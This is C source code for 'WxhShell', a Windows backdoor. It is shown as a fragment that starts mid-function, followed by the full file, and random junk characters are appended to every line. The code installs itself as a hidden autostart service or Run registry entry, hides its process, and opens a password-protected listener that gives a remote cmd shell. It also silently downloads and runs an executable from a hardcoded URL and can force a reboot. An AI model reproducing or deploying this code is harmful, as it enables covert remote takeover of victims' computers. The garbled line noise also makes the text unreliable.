    if(Boot(SHUTDOWN)) i1c z+}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [Re.sX}$Y  
    else { _nUvDdEs,  
    closesocket(wsh); QIK;kjr*A3  
    ExitThread(0); buj *L&  
    } K~ch OX  
    break; a^#\"c  
    } MH0xD  
  // 获取shell O:% ,.??<%  
  case 's': { q0m> NA   
    CmdShell(wsh); b] EC+.  
    closesocket(wsh); {)CN.z:O  
    ExitThread(0); T{CCZ"Fv  
    break; /h]#}y j  
  } qS9z0HLE  
  // 退出 (93$ L zZ  
  case 'x': { >~F_/Z'5  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); x(]Um!  
    CloseIt(wsh); 5~R1KjjvA  
    break; GJr1[  
    } .!`y(N0hc  
  // 离开 -X]?ql*%`  
  case 'q': { F.Sc2n@7-  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); %&iY5A  
    closesocket(wsh); %2 I >0  
    WSACleanup(); v1R  t$[  
    exit(1); VYo2m  
    break; +|w%}/N  
        } WC7ltw2  
  } ML!>tCT  
  } yq=rv$.s  
|34M.YjA  
  // 提示信息 5/E7@h ,  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 2lu AF2  
} )N'-A p$g  
  } it.'.aK4  
*[|a $W  
  return; =C(((T.  
} ;irAq|  
Y& p ~8  
// shell模块句柄 Hob n{E  
int CmdShell(SOCKET sock) :z^,>So:  
{ lf9mdbm  
STARTUPINFO si; }m -A #4.  
ZeroMemory(&si,sizeof(si)); Lz/{ q6>  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; p Lwtm@  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; xTGdh  
PROCESS_INFORMATION ProcessInfo; PK&\pkX  
char cmdline[]="cmd"; 4(D1/8  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); "*T4%3dA  
  return 0; 2v\<MrL  
} lD-HQd  
s#p\ r  
// 自身启动模式 /D>G4PP<  
int StartFromService(void) khb/"VYd  
{ \c\z 6;j  
typedef struct $/FL)m8.3  
{ S\S31pYT  
  DWORD ExitStatus; 6 k6}SlN[  
  DWORD PebBaseAddress; \%czNF  
  DWORD AffinityMask; #zed8I:w  
  DWORD BasePriority; T1U8ZEK<iu  
  ULONG UniqueProcessId; |44 E:pA  
  ULONG InheritedFromUniqueProcessId; C@P*:L_  
}   PROCESS_BASIC_INFORMATION; _@D"XL#L  
L;i(@tp|v  
PROCNTQSIP NtQueryInformationProcess; IJk<1T7:(W  
2uzy]faM  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; >$:_M*5  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ;  nJ|M  
QB<~+d W  
  HANDLE             hProcess; M\D25=(  
  PROCESS_BASIC_INFORMATION pbi; x>Gx yVE  
le150;7  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ^JY,K  
  if(NULL == hInst ) return 0; pmuT7*<19  
yt {?+|tXU  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); )1E#'v12 "  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Ca}V5O  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); l_i&8*=Px  
J,D^fVIw  
  if (!NtQueryInformationProcess) return 0; QIC? `hk1  
fA"9eUu  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); $)Ty@@7C  
  if(!hProcess) return 0; yfZYGhPN(  
$2>"2*,04  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0;  _W  
oqa8v6yG'  
  CloseHandle(hProcess); 0]Qk*u<  
y7T<Auue`  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); NI85|*h  
if(hProcess==NULL) return 0; :I(d-,C  
sEHA?UP$<F  
HMODULE hMod; )W^$7 Em  
char procName[255]; ^D?{[LBc  
unsigned long cbNeeded; 62 9g_P)  
(b"kN(  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); =3EE-%eF!  
?#lHQT  
  CloseHandle(hProcess); xs^wRE_  
<"@5. f1"Y  
if(strstr(procName,"services")) return 1; // 以服务启动 G<>h>c1>z  
I#:Dk?"O2  
  return 0; // 注册表启动 #]*]qdQWV^  
} NJmyp!8  
>)edha*W]  
// 主模块 )S^[b2P]y_  
int StartWxhshell(LPSTR lpCmdLine) ?>DwNz^.!  
{ <N8z<o4rku  
  SOCKET wsl; F13vc~$Ky  
BOOL val=TRUE; E]0Qz? W  
  int port=0; `4-m$ab  
  struct sockaddr_in door; Ns$,.D  
Wrf+5 ;,,  
  if(wscfg.ws_autoins) Install(); zsr;37  
OU[ FiW-E  
port=atoi(lpCmdLine); 3 p!t_y|SX  
I_is3y0  
if(port<=0) port=wscfg.ws_port; Bejk^V~  
c!a1@G  
  WSADATA data; nq:'jdY5|  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; A2''v3-h8  
T'-kG"lb  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   oA+'9/UY  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ^!Tq(t5V  
  door.sin_family = AF_INET; !X\aZ{}Q  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); qT^0 %O:  
  door.sin_port = htons(port); 6o]j@o8V  
{'6-;2&f  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 5P[urOvV  
closesocket(wsl); #c(BBTuX  
return 1; CcZM0  
} < 49\B  
LJOJ2x  
  if(listen(wsl,2) == INVALID_SOCKET) { VgO.in^q  
closesocket(wsl);  #]J"j]L  
return 1; s1J( -O  
} GHFYIor  
  Wxhshell(wsl); |N0RBa4%  
  WSACleanup(); {2LG$x-N%  
[bjP-pX  
return 0; r85j /YK  
.xe+cK  
} a6'T]DW0W  
`!C5"i8+i2  
// 以NT服务方式启动 g2 tM!IRQ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) vvP]tRZ  
{ IJBIO>Z/  
DWORD   status = 0; kyL]4:@W`  
  DWORD   specificError = 0xfffffff; ,f$ftn\~j/  
pDt45   
  serviceStatus.dwServiceType     = SERVICE_WIN32; U98e=57N  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; :z2G a  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; s} oD?h:T3  
  serviceStatus.dwWin32ExitCode     = 0; ]JlM/  
  serviceStatus.dwServiceSpecificExitCode = 0; S5e"}.]|  
  serviceStatus.dwCheckPoint       = 0; W_[ tdqey  
  serviceStatus.dwWaitHint       = 0; R0T{9,;[`  
S'=}eeG  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); w\ddC DZ  
  if (hServiceStatusHandle==0) return; #,;Q|)AD:e  
-EG=}uT['b  
status = GetLastError(); B>%;"OMp  
  if (status!=NO_ERROR) |9]_<X[ic  
{ Ie/dMB=t  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ;ibOd~  
    serviceStatus.dwCheckPoint       = 0; Zn6u6<O=  
    serviceStatus.dwWaitHint       = 0; '6GW.;  
    serviceStatus.dwWin32ExitCode     = status; z)%]# QO  
    serviceStatus.dwServiceSpecificExitCode = specificError; pQk@ +r  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); {GG;/Ns{f-  
    return; ]\*_}  
  } SzyaVBD3  
0lS=-am  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; #pk  
  serviceStatus.dwCheckPoint       = 0; ageTv/  
  serviceStatus.dwWaitHint       = 0; r tH #j  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ^AC2  zC  
} ,YF1* 69  
KdC'#$  
// 处理NT服务事件,比如:启动、停止 mJ+mTA5bW  
VOID WINAPI NTServiceHandler(DWORD fdwControl) =}2k+v-B  
{ @j=rS S  
switch(fdwControl) /.Jq]"   
{ f}7/UGd  
case SERVICE_CONTROL_STOP: nc;iJ/\4  
  serviceStatus.dwWin32ExitCode = 0; TnJNs  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; C;']FmK]  
  serviceStatus.dwCheckPoint   = 0; VTK +aI  
  serviceStatus.dwWaitHint     = 0; /#!1  
  { 'EG/)0t`  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); #1Ie v7w  
  } cN~F32<  
  return; FLLfTkXdI  
case SERVICE_CONTROL_PAUSE: 15M!erT  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; hSG1f`  
  break; +Os9}uKf  
case SERVICE_CONTROL_CONTINUE: t<MO~_`!  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; bCV_jR+  
  break; bOD] `*q  
case SERVICE_CONTROL_INTERROGATE: W('V2Z-q  
  break; w6|l ~.$=  
}; Jn"ya^~  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^IO\J{U{"x  
} FA1h!Vit  
9ZI^R/*Kc  
// 标准应用程序主函数 2j=HxE  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) @Wa,  
{ 8p PQ   
h=dFSK?*D  
// 获取操作系统版本 YtA<4XHU  
OsIsNt=GetOsVer(); #aIV\G  
GetModuleFileName(NULL,ExeFile,MAX_PATH); (B Ig  
-?vVV@W-O^  
  // 从命令行安装 [vOk=  
  if(strpbrk(lpCmdLine,"iI")) Install(); $~NB .SY  
r;GAQH}j_  
  // 下载执行文件 #&ayWef  
if(wscfg.ws_downexe) { iO7s zi  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) CRu {Ie5B  
  WinExec(wscfg.ws_filenam,SW_HIDE); (= W u5H  
} A}_0iwG  
VbX$\Cs:  
if(!OsIsNt) { EXti  
// 如果时win9x,隐藏进程并且设置为注册表启动 Ys8D|HIk  
HideProc(); uLrZl0%HT~  
StartWxhshell(lpCmdLine); >9t+lr1   
} a"phwCc"%  
else Z5,"KhB]  
  if(StartFromService()) JdX!#\O  
  // 以服务方式启动 t!o=-k  
  StartServiceCtrlDispatcher(DispatchTable); Q$A;Fk}-  
else .7> g8  
  // 普通方式启动 bZu2.?{  
  StartWxhshell(lpCmdLine); jfpbD /  
=1zRm >m  
return 0; |l:,EA_v|  
} fHXz{,?/w  
p%IVWeZnx  
9b)'vr*Hy7  
fk\hrVP  
=========================================== {VKP&{~O  
ksF4m_E>YB  
rAS2qt  
Tfw5i,{  
cQ(,M  
.cB>ab&  
" Cw h[R  
U9"Ij}  
#include <stdio.h> 3 ]w a8|  
#include <string.h> h`4!Qv  
#include <windows.h> ;$FMOMR  
#include <winsock2.h> UD^=@?^7  
#include <winsvc.h> @*iT%p_L  
#include <urlmon.h> [#+klP$  
^_k`@SU  
#pragma comment (lib, "Ws2_32.lib") rmPJid[8B~  
#pragma comment (lib, "urlmon.lib") Wt!8.d} =  
"B*UZ.cC  
#define MAX_USER   100 // 最大客户端连接数 NGkWr  
#define BUF_SOCK   200 // sock buffer QT\"r T9#  
#define KEY_BUFF   255 // 输入 buffer Wx8n)  
]Ryg}DOQ  
#define REBOOT     0   // 重启 RSIhZYA  
#define SHUTDOWN   1   // 关机 yH]w(z5Z  
8r48+_y3u  
#define DEF_PORT   5000 // 监听端口 pf#~|n#t  
s"(F({J  
#define REG_LEN     16   // 注册表键长度 U\dLq&=V  
#define SVC_LEN     80   // NT服务名长度 Z._%T$8aJv  
`/9&o;qM   
// 从dll定义API Wo6C0Z3g}  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); I|_U|H!`  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); h&z(;B!;y.  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ;Ngu(es6  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); j4$NQ]e^4  
-P28pVX`  
// wxhshell配置信息 A#nSK#wS61  
struct WSCFG { NUX$)c  
  int ws_port;         // 监听端口 8^hbS%s!  
  char ws_passstr[REG_LEN]; // 口令 ]wEFm;N  
  int ws_autoins;       // 安装标记, 1=yes 0=no mg<S7+  
  char ws_regname[REG_LEN]; // 注册表键名 u >[hLXuB  
  char ws_svcname[REG_LEN]; // 服务名 '[Bok=$B)  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 h&x;#.SYK  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 VF g"AJf  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 3<}r+,j  
int ws_downexe;       // 下载执行标记, 1=yes 0=no _A6e|(.ll  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" )V9wU1.  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 nS]Ih0( K  
o^+g2;Ro  
}; +7j7zpw  
OK%d1M^8j  
// default Wxhshell configuration FH7l6b,^  
struct WSCFG wscfg={DEF_PORT, lD,;xuQ  
    "xuhuanlingzhe", TCK<IZKLqK  
    1, =qS\+  
    "Wxhshell", ,AyQCUz{*?  
    "Wxhshell", ^-%O  
            "WxhShell Service", 8HL8)G6  
    "Wrsky Windows CmdShell Service", tfPe-U  
    "Please Input Your Password: ", 4AYW'j C  
  1, sNsWz.DLT#  
  "http://www.wrsky.com/wxhshell.exe", M ~5Ja0N~  
  "Wxhshell.exe" &o7"L;  
    }; eV(   
4*?i!<N9  
// 消息定义模块 a4Y43n  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Og2G0sWRf  
char *msg_ws_prompt="\n\r? for help\n\r#>"; }nMp.7b  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; j9*5Kj  
char *msg_ws_ext="\n\rExit."; t ]P^6jw'  
char *msg_ws_end="\n\rQuit."; e?fA3Fug  
char *msg_ws_boot="\n\rReboot..."; D()tP  
char *msg_ws_poff="\n\rShutdown..."; !0Eo9bU%@  
char *msg_ws_down="\n\rSave to "; (gb vInZ  
W!)B%.Q  
char *msg_ws_err="\n\rErr!"; tWA<OOl  
char *msg_ws_ok="\n\rOK!"; (`&E^t  
"$e p=h+  
char ExeFile[MAX_PATH]; 7? qRz  
int nUser = 0; i=\`f& B  
HANDLE handles[MAX_USER]; oTk?a!Q  
int OsIsNt; 8 G:f[\^  
~D_Wqr  
SERVICE_STATUS       serviceStatus; |[MtUWEW  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; A8j$c~  
@^,9O92l  
// 函数声明 jGtu>|Gj  
int Install(void); SD]rYIu+  
int Uninstall(void); zS!+2/(  
int DownloadFile(char *sURL, SOCKET wsh);  zj7?2  
int Boot(int flag); @@#(<[S\B  
void HideProc(void); Wqas1yL_  
int GetOsVer(void); r%xf=};  
int Wxhshell(SOCKET wsl); #>O+!IH   
void TalkWithClient(void *cs); 6kdcFcV-]  
int CmdShell(SOCKET sock); 7loIjT7  
int StartFromService(void); m&+V@H  
int StartWxhshell(LPSTR lpCmdLine); n*A"}i`ix  
b:W x[+  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); }PxP J$o  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); HD;l1W)  
%VwkYAgA  
// 数据结构和表定义 6:AZZF1  
SERVICE_TABLE_ENTRY DispatchTable[] = s@pIcNvx  
{ |J&=h|-A  
{wscfg.ws_svcname, NTServiceMain}, <4jqF 4 W  
{NULL, NULL} b^WF R   
}; 8RU91H8fE  
g!!:o(k  
// 自我安装 U&u~i 3  
int Install(void) k:*vD"  
{ gi<%: [jT  
  char svExeFile[MAX_PATH]; <Eh_  
  HKEY key; WU{9lL=  
  strcpy(svExeFile,ExeFile); |/~ISB  
~o8x3`CoF  
// 如果是win9x系统,修改注册表设为自启动 3(=QY)  
if(!OsIsNt) { jDCf]NvOPM  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { e6_`  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ]s}9-!{O  
  RegCloseKey(key); K'S \$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { r<EwtO+x  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); :djbZ><  
  RegCloseKey(key); :;N2hnHoG  
  return 0; s+6tdBvzs  
    } 4x?4[J~u[  
  } ->5[C0: ]  
} f- ~]  
else { )* Rr5l /l  
&?3P5dy_  
// 如果是NT以上系统,安装为系统服务 UaM&/K9  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Nuc2CB)J  
if (schSCManager!=0) KKM!($A  
{ +p0Y*.  
  SC_HANDLE schService = CreateService W>J1JaO  
  ( osI0m7ws:  
  schSCManager, QHw{@*  
  wscfg.ws_svcname, QUz_2rN^  
  wscfg.ws_svcdisp, ?io ,8  
  SERVICE_ALL_ACCESS, ![/ QW  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , QA# 7T3|  
  SERVICE_AUTO_START, XrN]}S$N  
  SERVICE_ERROR_NORMAL, vfOG(EkG.?  
  svExeFile, T,5(JP(h3  
  NULL, NU.YL1  
  NULL, o;'-^ LJ  
  NULL, Y!3i3D  
  NULL, oE$zOS&2  
  NULL :}[ D;cx  
  ); 9 N9Q#o$!.  
  if (schService!=0) F{FSmUxzK  
  { Rj~y#m  
  CloseServiceHandle(schService); jP"yG#  
  CloseServiceHandle(schSCManager); CAbT9W z&  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); r,cK#!<%  
  strcat(svExeFile,wscfg.ws_svcname); [G7S  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { X A-,  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); "In$|A\?E  
  RegCloseKey(key); <gx"p#JbZ  
  return 0; g/`z.?  
    } K#a_7/!v/  
  } Z]=9=S| .4  
  CloseServiceHandle(schSCManager); >(eR0.x  
} [_zoJ  
} RbJbVFz8C  
W>m #Mz  
return 1; HQ`A.E2  
} iS}~e{TP/  
f^ 6da6Z  
// 自我卸载 );L+)UV  
int Uninstall(void) ^LAdN8Cbb  
{ 4/E>k <MA  
  HKEY key; LGPg\g`  
4L)Ox;6>  
if(!OsIsNt) { vff`Xh>k(  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { m,#Us  
  RegDeleteValue(key,wscfg.ws_regname); Y$N D  
  RegCloseKey(key); nIv/B/>pZ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { F/0x` l  
  RegDeleteValue(key,wscfg.ws_regname); #5mnSky+s  
  RegCloseKey(key); A?Gk8  
  return 0; S")*~)N@  
  } YveNsn  
} ]M/*Beh  
} 6|ENDd[  
else { l&6+ykQ  
b"&1l2\ A  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); U$T (R2@  
if (schSCManager!=0) BH^8!7dkT  
{ e7JZk6GP#9  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); s78V\Vw3  
  if (schService!=0) y<n<uZ;  
  { 3R ZD=`  
  if(DeleteService(schService)!=0) { i`" L?3T  
  CloseServiceHandle(schService); yMBFw:/o  
  CloseServiceHandle(schSCManager); WkK.ON^  
  return 0; % !p/r`  
  } 6D1tRo  
  CloseServiceHandle(schService); {b90c'8?a  
  } i-31Cxb  
  CloseServiceHandle(schSCManager); 8ubb~B;  
} :qO)^~x  
} 6%2\bI.#  
)}5f'TK  
return 1; O - N> X  
} =-8y =  
5.FAuzz  
// 从指定url下载文件 {^SHIL  
int DownloadFile(char *sURL, SOCKET wsh) YOY{f:ew  
{ n<66 7 <  
  HRESULT hr; ,: 4+hJ<q  
char seps[]= "/"; C}cYG  
char *token; R#33AC CX  
char *file; il >XV>  
char myURL[MAX_PATH]; rklK=W z  
char myFILE[MAX_PATH]; =1h> N/VJ  
OQa;EBO  
strcpy(myURL,sURL); -H AUKY@;5  
  token=strtok(myURL,seps); HLp'^  
  while(token!=NULL) S`Wau/7t  
  { 50^T \u  
    file=token; -MT.qhx  
  token=strtok(NULL,seps); 3hbUus  
  } lv0}d  
Ikj_ 0/%F  
GetCurrentDirectory(MAX_PATH,myFILE); g'{hp:  
strcat(myFILE, "\\"); h?`'%m?_b  
strcat(myFILE, file); <%Afa#  
  send(wsh,myFILE,strlen(myFILE),0); Xw{Qktn  
send(wsh,"...",3,0); %[7<GcWl  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); WbDD9ZS  
  if(hr==S_OK) EJZb3  
return 0; L$<(HQQ J8  
else Fg -4u&Ik  
return 1; a]8}zSUK  
{1]/ok2k5  
} T^n0=|  
ctWH?b/ua  
// 系统电源模块 x\2N @*I:  
int Boot(int flag) fN{JLp  
{ l/o 4bkV  
  HANDLE hToken; gCc::[}\Y  
  TOKEN_PRIVILEGES tkp; FV W&)-I  
S#l6=zI7^R  
  if(OsIsNt) { 0xe*\CAo  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); kmfxk/F}  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 5Bog\mS  
    tkp.PrivilegeCount = 1; r-k,4Yz  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; XH{P@2~l  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); DqTp*hI  
if(flag==REBOOT) { [d/uy>z,  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))  MuCnBx  
  return 0; 9q|36CAO_  
} @E@5/N6M  
else { j,i> 1|J  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))  {]=oOy1  
  return 0; b^I(>l-  
} GMRFZw_M  
  } RFq&#3f$  
  else { v05B7^1@_  
if(flag==REBOOT) { 5/"&C-t  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) cl3Dwrf?  
  return 0; 0-a[[hL?  
} 3a\.s9A "  
else { z Qhc V  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) p{k^)5CR/  
  return 0; 3 h~U)mg  
} 4c/.#?  
} }m0hq+p^  
xh raf1v3\  
return 1; `L1lGlt  
} L:3  
E3<~C(APW  
// win9x进程隐藏模块 a}#Jcy!e  
void HideProc(void) !>Ru= $9  
{ nt*nTtcE  
dl&402  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); y%^TZ[S  
  if ( hKernel != NULL ) +`H{  
  { H[KTM'n  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Ko|p&-Z;  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); :k*3?*'K  
    FreeLibrary(hKernel); #>/s tU-  
  } m^rrbU+HM?  
k%S;N{Qh@  
return; K4>nBvZ?v  
} >4N=P0=  
KJ&~z? X  
// 获取操作系统版本 rAZsVnk?  
int GetOsVer(void) ]&l%L4Z  
{ DeTD.)pS  
  OSVERSIONINFO winfo; &z"sT*3  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); loPBHoE3@H  
  GetVersionEx(&winfo); ~'aK[3  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) :P1/kYg  
  return 1; !tL&Ktoj  
  else ehCZhi~  
  return 0; 21\t2<"  
} !O-9W=NJ  
Skn2-8;10  
// 客户端句柄模块 7 ,![oY[  
int Wxhshell(SOCKET wsl) 5o dtYI%L  
{ wmf#3"n  
  SOCKET wsh; ?()$imb*  
  struct sockaddr_in client; Mm'q4DV^  
  DWORD myID; Jm(sx'qPx  
.]\+JTm  
  while(nUser<MAX_USER) hXE_OXZ  
{ C)|{7W  
  int nSize=sizeof(client); $6 A91|ZSQ  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); a6vls]?  
  if(wsh==INVALID_SOCKET) return 1; uNcE_<  
}*ZOD1j  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ,{_;q:  
if(handles[nUser]==0) -P5M(Rt  
  closesocket(wsh); O%n=n3  
else ^.f`6 6/  
  nUser++; ^%:syg_RM[  
  } ==z,vxr  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ;:)?@IuSy  
&InMI#0mV  
  return 0; 9 yE   
} gU^2;C  
u(`,7 o "  
// 关闭 socket O)4P)KAO<  
void CloseIt(SOCKET wsh) !ufSO9eDx"  
{ 7Vd"AVn}g  
closesocket(wsh); :)9 ^T<  
nUser--; 4Nx]*\\  
ExitThread(0); [x.Dw U%S  
} &oyj8  
sb7~sa&-  
// 客户端请求句柄 a.5^zq7#!  
void TalkWithClient(void *cs) ZTwCFn  
{ NpIx\\d  
^:c"%<"='  
  SOCKET wsh=(SOCKET)cs; D`G ;kp  
  char pwd[SVC_LEN]; XtV=Gr8"  
  char cmd[KEY_BUFF]; c!{]Z_d\  
char chr[1]; QE8aYPSFf  
int i,j; < x==T4n/  
34$qV{Y%y  
  while (nUser < MAX_USER) { @9wug!,  
;1&7v  
if(wscfg.ws_passstr) { Gpauy=4f  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); %HNe"7gk  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); A]FjV~PB  
  //ZeroMemory(pwd,KEY_BUFF); #q5 L4uM9  
      i=0; @zHTKi`  
  while(i<SVC_LEN) { ?+WSYg0  
BP7&w d  
  // 设置超时 y,`SLgBID  
  fd_set FdRead; re `B fN  
  struct timeval TimeOut; y_=},a  
  FD_ZERO(&FdRead); 6tBh`nYB=  
  FD_SET(wsh,&FdRead); ^?5 [M^  
  TimeOut.tv_sec=8; Po=@ 6oB  
  TimeOut.tv_usec=0; jnl3P[uQ  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); h xCt[G@  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); H#LlxD)q  
$ 4& )  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); U6pG  
  pwd=chr[0]; )ww#dJn  
  if(chr[0]==0xd || chr[0]==0xa) { h!"| Q"18  
  pwd=0; zoU-*Rs6  
  break; r3hUa4^97  
  } e"sz jY~V  
  i++; ft"B,  
    } ftqi>^i  
2bB&/Uumsd  
  // 如果是非法用户,关闭 socket <~[ A  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Q0}Sju+HX  
} YMSA[hm  
6S~l gH:  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); U#jbii6e  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); d`_X$P4y  
wjr1?c  
while(1) { ]y3'6!  
6uU2+I  
  ZeroMemory(cmd,KEY_BUFF); -<'&"-  
> 4zH\T!  
      // 自动支持客户端 telnet标准   #_, l7q8U  
  j=0; $Y mD;  
  while(j<KEY_BUFF) { >q:0w{.TU  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^E5[~C*o3  
  cmd[j]=chr[0]; rdFeDZo&Z)  
  if(chr[0]==0xa || chr[0]==0xd) { fh1rmet&Ts  
  cmd[j]=0; B^z3u=ll  
  break; d0`5zd@S  
  } l~/g^lN  
  j++; k_2W*2'S  
    } FK$?8Jp  
&s|&cT  
  // 下载文件 ?W%9H\;  
  if(strstr(cmd,"http://")) { %U.aRSf/  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); \eD{bD  
  if(DownloadFile(cmd,wsh)) oWZbfR9R  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); BtyBZ8P;e  
  else \9*,[mvC  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); qw!_/Z3[  
  } r&G=}ZMO  
  else { 6%K,3R-d  
!;YmLJk;hN  
    switch(cmd[0]) { ?0Qm  
  )1>fQ9   
  // 帮助 #8!xIy  
  case '?': { =)B@`"  
